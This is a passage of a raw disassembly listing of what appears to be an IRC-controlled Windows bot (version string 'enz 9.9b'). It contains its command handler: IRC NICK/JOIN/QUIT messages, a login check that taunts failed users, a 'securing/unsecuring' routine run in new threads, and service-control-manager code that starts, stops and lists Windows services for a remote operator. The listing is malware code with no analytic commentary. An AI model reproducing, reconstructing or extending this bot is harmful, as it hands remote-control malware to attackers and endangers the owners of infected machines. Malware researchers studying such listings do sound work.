[ebp-2E8h], ebx jnz loc_40B71F push 32h call ds:dword_41F058 ; Sleep jmp short loc_4108B4 ; --------------------------------------------------------------------------- loc_4108CA: ; CODE XREF: seg000:004108B2j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_428A04 jmp loc_40B908 ; --------------------------------------------------------------------------- loc_4108DB: ; CODE XREF: seg000:0040C78Bj ; seg000:0040C7A0j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40959D push offset dword_4289D8 call sub_409615 jmp loc_41046A ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: seg000:0040C761j ; seg000:0040C776j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_413B2A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax jz short loc_410955 push offset dword_4289D4 push esi call sub_4139D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-458h], eax jmp short loc_41095B ; --------------------------------------------------------------------------- loc_410955: ; CODE XREF: seg000:00410939j mov [ebp-458h], ebx loc_41095B: ; CODE XREF: seg000:00410953j lea eax, [ebp-2C8h] push offset dword_4289A4 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 1Fh push eax call sub_413059 add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset dword_4130C4 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_4109C5 loc_4109B3: ; CODE XREF: seg000:004109C3j cmp [ebp-44Ch], ebx jnz short loc_4109E0 push 32h call ds:dword_41F058 ; Sleep jmp short loc_4109B3 ; --------------------------------------------------------------------------- loc_4109C5: ; CODE XREF: seg000:004109B1j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_428958 loc_4109D1: ; CODE XREF: seg000:0040F87Ej ; seg000:0040F997j lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_4109E0: ; CODE XREF: seg000:0040DC1Cj ; seg000:0040DC3Ej ... lea eax, [ebp-2C8h] push eax jmp loc_40CA1F ; --------------------------------------------------------------------------- loc_4109EC: ; CODE XREF: seg000:0040C6E5j ; seg000:0040C6FAj push offset aVds017 ; "vds017" lea eax, [ebp-2C8h] push offset dword_42892C push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 20h jmp loc_40D4AD ; --------------------------------------------------------------------------- loc_410A23: ; CODE XREF: seg000:0040C6BBj ; seg000:0040C6D0j push ds:dword_45DB88 call sub_408E5A push eax lea eax, [ebp-2C8h] push offset dword_4288EC push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 24h jmp loc_40D4AD ; --------------------------------------------------------------------------- loc_410A61: ; CODE XREF: seg000:0040C691j ; seg000:0040C6A6j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_410A93 cmp [ebp-0Ch], ebx jz short loc_410AA2 push esi push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz short loc_410AA2 push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_41106A add esp, 0Ch jmp short loc_410AA2 ; --------------------------------------------------------------------------- loc_410A93: ; CODE XREF: seg000:00410A6Aj push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_41106A pop ecx pop ecx loc_410AA2: ; CODE XREF: seg000:00410A6Fj ; seg000:00410A7Ej ... push 0FFFFFFFEh jmp loc_40B721 ; --------------------------------------------------------------------------- loc_410AA9: ; CODE XREF: seg000:0040C667j ; seg000:0040C67Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_41106A push offset dword_428898 call sub_409615 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40B722 ; --------------------------------------------------------------------------- loc_410ACB: ; CODE XREF: seg000:0040C63Dj ; seg000:0040C652j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_41106A push offset dword_428854 call sub_409615 add esp, 0Ch xor eax, eax jmp loc_40B722 ; --------------------------------------------------------------------------- loc_410AEC: ; CODE XREF: seg000:0040C613j ; seg000:0040C628j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4055DD jmp loc_40F3A1 ; --------------------------------------------------------------------------- loc_410B02: ; CODE XREF: seg000:0040C56Ej ; seg000:0040C583j push dword ptr [ebp+esi-90h] push 1Eh push offset dword_428844 push offset dword_428838 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_410B1A: ; CODE XREF: seg000:0040C544j ; seg000:0040C559j push dword ptr [ebp+esi-90h] push 1Bh push offset dword_42882C push offset dword_42881C jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_410B32: ; CODE XREF: seg000:0040C36Fj ; seg000:0040C384j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_410B51 push edi call sub_413B1F test eax, eax pop ecx jz short loc_410B51 push edi call sub_413B1F pop ecx jmp short loc_410B56 ; --------------------------------------------------------------------------- loc_410B51: ; CODE XREF: seg000:00410B3Bj ; seg000:00410B46j mov eax, ds:dword_428224 loc_410B56: ; CODE XREF: seg000:00410B4Fj mov esi, [ebp+esi-8Ch] mov [ebp-464h], eax cmp esi, ebx jz short loc_410B7B push esi loc_410B68: ; CODE XREF: seg000:00410B8Aj lea eax, [ebp-474h] push 10h push eax call sub_413B2A add esp, 0Ch jmp short loc_410B92 ; --------------------------------------------------------------------------- loc_410B7B: ; CODE XREF: seg000:00410B65j cmp [ebp-9B3h], bl jz short loc_410B8C lea eax, [ebp-0C4h] push eax jmp short loc_410B68 ; --------------------------------------------------------------------------- loc_410B8C: ; CODE XREF: seg000:00410B81j mov [ebp-474h], bl loc_410B92: ; CODE XREF: seg000:00410B79j mov eax, [ebp-4] push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-458h], eax mov eax, [ebp-8] push 80h mov [ebp-454h], eax lea eax, [ebp-4F4h] push eax mov [ebp-4F8h], esi call sub_413B2A add esp, 0Ch push dword ptr [ebp-464h] push esi call sub_408619 pop ecx push eax lea eax, [ebp-2C8h] push offset dword_423DF4 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 11h push eax call sub_413059 add esp, 1Ch mov [ebp-460h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F8h] push ebx push eax push offset loc_4064B2 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-460h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_410C43 loc_410C2D: ; CODE XREF: seg000:00410C41j cmp [ebp-450h], ebx jnz loc_40B71F push 32h call ds:dword_41F058 ; Sleep jmp short loc_410C2D ; --------------------------------------------------------------------------- loc_410C43: ; CODE XREF: seg000:00410C2Bj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_4287D0 jmp loc_40B908 ; --------------------------------------------------------------------------- loc_410C54: ; CODE XREF: seg000:0040C31Bj ; seg000:0040C330j ... push edi push offset aSecure ; "secure" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_410C7C push edi push offset aSec ; "sec" call sub_4139D0 pop ecx mov [ebp-458h], ebx test eax, eax pop ecx jnz short loc_410C86 loc_410C7C: ; CODE XREF: seg000:00410C63j mov dword ptr [ebp-458h], 1 loc_410C86: ; CODE XREF: seg000:00410C7Aj push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_413B2A mov eax, [ebp+0Ch] add esp, 0Ch cmp [ebp-458h], ebx mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] mov [ebp-450h], eax mov eax, offset aSecuring ; "Securing" jnz short loc_410CCD mov eax, offset aUnsecuring ; "Unsecuring" loc_410CCD: ; CODE XREF: seg000:00410CC6j push eax push offset dword_428780 lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A push ebx lea eax, [ebp-2C8h] push 19h push eax call sub_413059 add esp, 1Ch mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_4129BE push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_410D3D loc_410D2B: ; CODE XREF: seg000:00410D3Bj cmp [ebp-44Ch], ebx jnz short loc_410D58 push 32h call ds:dword_41F058 ; Sleep jmp short loc_410D2B ; --------------------------------------------------------------------------- loc_410D3D: ; CODE XREF: seg000:00410D29j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_428730 loc_410D49: ; CODE XREF: seg000:0040EFC1j ; seg000:0040FA93j ... lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_410D58: ; CODE XREF: seg000:0040DCBAj ; seg000:0040DCDCj ... lea eax, [ebp-2C8h] push eax call sub_409615 jmp loc_40B90E ; --------------------------------------------------------------------------- loc_410D69: ; CODE XREF: seg000:0040C2F1j ; seg000:0040C306j push offset aEnz9_9b ; "enz 9.9b" push offset dword_42870C loc_410D73: ; CODE XREF: seg000:0040F833j ; seg000:0040FB47j ... lea eax, [ebp-2C8h] push eax call sub_4135AD loc_410D7F: ; CODE XREF: seg000:004104B5j add esp, 0Ch jmp loc_40D48C ; --------------------------------------------------------------------------- loc_410D87: ; CODE XREF: seg000:0040C2C7j ; seg000:0040C2DCj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_410DE7 push esi call sub_413B1F cmp eax, ebx pop ecx jl short loc_410DDC cmp eax, 2 jge short loc_410DDC mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_410DD1 lea eax, [esi+1] push eax lea eax, [ebp-2C8h] push offset dword_42B880 push eax call sub_4135AD add esp, 0Ch mov [esi], bl jmp loc_40D1C9 ; --------------------------------------------------------------------------- loc_410DD1: ; CODE XREF: seg000:00410DB0j push eax push offset dword_4286CC jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: seg000:00410D9Bj ; seg000:00410DA0j push eax push offset dword_42868C jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_410DE7: ; CODE XREF: seg000:00410D90j mov edi, [ebp+20h] xor esi, esi loc_410DEC: ; CODE XREF: seg000:00410E08j push dword ptr [ebp-94h] push edi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_410E0F inc esi add edi, 80h cmp esi, 2 jl short loc_410DEC jmp loc_40D1C9 ; --------------------------------------------------------------------------- loc_410E0F: ; CODE XREF: seg000:00410DFCj mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax push offset dword_42B880 jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_410E29: ; CODE XREF: seg000:0040C29Dj ; seg000:0040C2B2j push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_410E98 call sub_413222 push ebx call ds:dword_41F104 ; ExitProcess loc_410E4B: ; CODE XREF: seg000:0040C273j ; seg000:0040C288j push dword ptr [ebp+esi-90h] xor eax, eax cmp [ebp-9A4h], bl setnz al push eax lea eax, [ebp-564h] push ds:dword_428244 push eax call sub_412797 lea eax, [ebp-564h] push eax push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A lea eax, [ebp-564h] push eax push offset dword_428654 call sub_409689 loc_410E95: ; CODE XREF: seg000:0040DE35j add esp, 24h loc_410E98: ; CODE XREF: seg000:0040B9B7j ; seg000:0040B9C3j ... mov eax, [ebp+2Ch] jmp loc_40B722 ; --------------------------------------------------------------------------- loc_410EA0: ; CODE XREF: seg000:0040BE73j ; seg000:0040BE88j mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], esi jz loc_40B71F cmp [ebp-98h], ebx jnz loc_40B71F push offset asc_42B900 ; "!" push dword ptr [ebp-94h] call sub_414D28 mov esi, eax push offset dword_42E344 push ebx inc esi call sub_414D28 push offset asc_428650 ; "~" push eax call sub_414D28 push dword ptr [ebp+8] mov edi, eax push offset aHi ; "hi" call sub_4139D0 add esp, 20h test eax, eax jz short loc_410F48 lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_41106A lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_41106A push edi push esi push offset dword_4285C4 loc_410F34: ; CODE XREF: seg000:00410FA4j lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 30h jmp loc_40BCFF ; --------------------------------------------------------------------------- loc_410F48: ; CODE XREF: seg000:00410EFBj mov dword ptr [ebp+2Ch], offset off_4282F8 loc_410F4F: ; CODE XREF: seg000:00410F6Bj mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_4133B2 pop ecx test eax, eax pop ecx jnz short loc_410FA6 add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_4282FC jl short loc_410F4F lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_41106A lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_41106A push edi push esi push offset dword_428584 jmp short loc_410F34 ; --------------------------------------------------------------------------- loc_410FA6: ; CODE XREF: seg000:00410F5Ej mov edi, [ebp+20h] xor esi, esi loc_410FAB: ; CODE XREF: seg000:00410FD5j cmp [ebp+8], ebx jz loc_40B71F cmp [edi], bl jnz short loc_410FCB push dword ptr [ebp+8] push offset aHi ; "hi" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_410FDC loc_410FCB: ; CODE XREF: seg000:00410FB6j inc esi add edi, 80h cmp esi, 2 jl short loc_410FAB jmp loc_40B71F ; --------------------------------------------------------------------------- loc_410FDC: ; CODE XREF: seg000:00410FC9j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0A94h] push 7Fh push eax push esi call sub_414DD0 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_411013 push ebx push dword ptr [ebp-4] push offset dword_428550 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_411013: ; CODE XREF: seg000:00410FF7j lea eax, [ebp-0C4h] push eax push offset dword_42851C jmp loc_40B908 ; --------------------------------------------------------------------------- loc_411024: ; CODE XREF: seg000:0040B569j ; seg000:0040B57Ej push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push offset dword_4282D0 push dword ptr [ebp+18h] push offset aModeSS ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A add esp, 2Ch mov ds:dword_45DD08, edi jmp loc_40B5F8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41106A proc near ; CODE XREF: sub_40B1E3+3Dp ; seg000:0040B526p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41551F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_42F758 leave retn sub_41106A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110B0 proc near ; CODE XREF: start+88p ; seg000:004014BDp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_4110CB mov edi, offset aPrivmsg ; "PRIVMSG" loc_4110CB: ; CODE XREF: sub_4110B0+14j push edi call sub_413DB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_413DB0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_413B2A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42B998 push eax call sub_4135AD add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_42F758 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_411149 push 7D0h call ds:dword_41F058 ; Sleep locret_411149: ; CODE XREF: sub_4110B0+8Cj leave retn sub_4110B0 endp ; =============== S U B R O U T I N E ======================================= sub_41114B proc near ; CODE XREF: seg000:loc_40D267p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4111B0 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_42B9B0[esi] push edi push eax call sub_4111D2 add esp, 14h test eax, eax jnz short loc_411193 push edi push ds:off_42B9AC[esi] mov esi, offset dword_45E3D0 push offset dword_42BAE4 push esi call sub_4135AD add esp, 10h jmp short loc_4111CD ; --------------------------------------------------------------------------- loc_411193: ; CODE XREF: sub_41114B+2Aj push eax call sub_411274 push eax push edi mov esi, offset dword_45E3D0 push offset dword_42BAA8 push esi call sub_4135AD add esp, 14h jmp short loc_4111CD ; --------------------------------------------------------------------------- loc_4111B0: ; CODE XREF: sub_41114B+Cj lea eax, [eax+eax*2] mov esi, offset dword_45E3D0 push ds:off_42B9A8[eax*4] push offset dword_42BA70 push esi call sub_4135AD add esp, 0Ch loc_4111CD: ; CODE XREF: sub_41114B+46j ; sub_41114B+63j mov eax, esi pop edi pop esi retn sub_41114B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111D2 proc near ; CODE XREF: sub_41114B+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_42F6FC mov edi, eax cmp edi, ebx jnz short loc_4111F9 call ds:dword_41F068 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41126E ; --------------------------------------------------------------------------- loc_4111F9: ; CODE XREF: sub_4111D2+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_42F5F0 mov esi, eax cmp esi, ebx jnz short loc_411219 call ds:dword_41F068 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_411266 ; --------------------------------------------------------------------------- loc_411219: ; CODE XREF: sub_4111D2+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41124C cmp eax, 3 jz short loc_41123D jle short loc_41125F cmp eax, 6 jg short loc_41125F lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_42F658 jmp short loc_411253 ; --------------------------------------------------------------------------- loc_41123D: ; CODE XREF: sub_4111D2+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_42F5F8 jmp short loc_411253 ; --------------------------------------------------------------------------- loc_41124C: ; CODE XREF: sub_4111D2+4Dj push esi call ds:dword_42F65C loc_411253: ; CODE XREF: sub_4111D2+69j ; sub_4111D2+78j test eax, eax jnz short loc_41125F call ds:dword_41F068 ; RtlGetLastWin32Error mov ebx, eax loc_41125F: ; CODE XREF: sub_4111D2+54j ; sub_4111D2+59j ... push esi call ds:dword_42F60C loc_411266: ; CODE XREF: sub_4111D2+45j push edi call ds:dword_42F60C pop esi loc_41126E: ; CODE XREF: sub_4111D2+25j mov eax, ebx pop edi pop ebx leave retn sub_4111D2 endp ; =============== S U B R O U T I N E ======================================= sub_411274 proc near ; CODE XREF: sub_41114B+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_411329 jz loc_411322 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_4112EC jz short loc_4112E2 mov ecx, eax sub ecx, 3 jz short loc_4112D8 dec ecx dec ecx jz short loc_4112CE dec ecx jz short loc_4112C4 sub ecx, 51h jz short loc_4112BA sub ecx, 24h jnz loc_41139F ; default ; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112BA: ; CODE XREF: sub_411274+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112C4: ; CODE XREF: sub_411274+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112CE: ; CODE XREF: sub_411274+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112D8: ; CODE XREF: sub_411274+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112E2: ; CODE XREF: sub_411274+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_411391 ; --------------------------------------------------------------------------- loc_4112EC: ; CODE XREF: sub_411274+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_41131B dec ecx jz short loc_411314 dec ecx jz short loc_41130D dec ecx jnz loc_41139F ; default ; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_411391 ; --------------------------------------------------------------------------- loc_41130D: ; CODE XREF: sub_411274+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411314: ; CODE XREF: sub_411274+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_411391 ; --------------------------------------------------------------------------- loc_41131B: ; CODE XREF: sub_411274+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411322: ; CODE XREF: sub_411274+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411329: ; CODE XREF: sub_411274+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_41139F ; default ; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16 jz short loc_41138C lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41139F ; default ; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_4113E0[ecx] jmp ds:off_4113B8[ecx*4] ; switch jump loc_41134D: ; DATA XREF: seg000:off_4113B8o push offset aTheSpecifiedDa ; jumptable 00411346 case 7 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411354: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceDepe ; jumptable 00411346 case 17 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_41135B: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceDe_0 ; jumptable 00411346 case 10 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411362: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceHasB ; jumptable 00411346 case 0 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411369: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheSpecified_0 ; jumptable 00411346 case 2 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411370: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceCoul ; jumptable 00411346 case 11 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411377: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceHa_0 ; jumptable 00411346 case 14 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_41137E: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheRequested_1 ; jumptable 00411346 case 3 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_411385: ; CODE XREF: sub_411274+D2j ; DATA XREF: seg000:off_4113B8o push offset aTheServiceHasN ; jumptable 00411346 case 4 jmp short loc_411391 ; --------------------------------------------------------------------------- loc_41138C: ; CODE XREF: sub_411274+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_411391: ; CODE XREF: sub_411274+41j ; sub_411274+4Bj ... push offset dword_45DD10 call sub_4135AD pop ecx pop ecx jmp short loc_4113B2 ; --------------------------------------------------------------------------- loc_41139F: ; CODE XREF: sub_411274+36j ; sub_411274+89j ... push eax ; default ; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_45DD10 call sub_4135AD add esp, 0Ch loc_4113B2: ; CODE XREF: sub_411274+129j mov eax, offset dword_45DD10 retn sub_411274 endp ; --------------------------------------------------------------------------- off_4113B8 dd offset loc_411362 ; DATA XREF: sub_411274+D2r dd offset loc_411369 ; jump table for switch statement dd offset loc_41137E dd offset loc_411385 dd offset loc_41134D dd offset loc_41135B dd offset loc_411370 dd offset loc_411377 dd offset loc_411354 dd offset loc_41139F byte_4113E0 db 0, 9, 1, 2 ; DATA XREF: sub_411274+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113F2 proc near ; CODE XREF: seg000:0040D292p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_42F6FC push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_41142A: ; CODE XREF: sub_4113F2+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_42F6C8 test eax, eax jnz short loc_411464 call ds:dword_41F068 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_411518 loc_411464: ; CODE XREF: sub_4113F2+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41150F lea esi, [ebp+var_188] loc_411475: ; CODE XREF: sub_4113F2+117j mov eax, [esi+8] dec eax jz short loc_4114BE dec eax jz short loc_4114B7 dec eax jz short loc_4114B0 dec eax jz short loc_4114A9 dec eax jz short loc_4114A2 dec eax jz short loc_41149B dec eax jz short loc_411494 push offset aUnknown_0 ; " Unknown" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_411494: ; CODE XREF: sub_4113F2+99j push offset aPaused_0 ; " Paused" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_41149B: ; CODE XREF: sub_4113F2+96j push offset aPausing ; " Pausing" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_4114A2: ; CODE XREF: sub_4113F2+93j push offset aContinuing ; " Continuing" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_4114A9: ; CODE XREF: sub_4113F2+90j push offset aRunning ; " Running" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_4114B0: ; CODE XREF: sub_4113F2+8Dj push offset aStoping ; " Stoping" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_4114B7: ; CODE XREF: sub_4113F2+8Aj push offset aStarting ; " Starting" jmp short loc_4114C3 ; --------------------------------------------------------------------------- loc_4114BE: ; CODE XREF: sub_4113F2+87j push offset aStopped ; " Stopped" loc_4114C3: ; CODE XREF: sub_4113F2+A0j ; sub_4113F2+A7j ... lea eax, [ebp+var_20] push eax call sub_4135AD pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4135AD push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_411475 loc_41150F: ; CODE XREF: sub_4113F2+77j cmp [ebp+var_8], ebx jnz loc_41142A 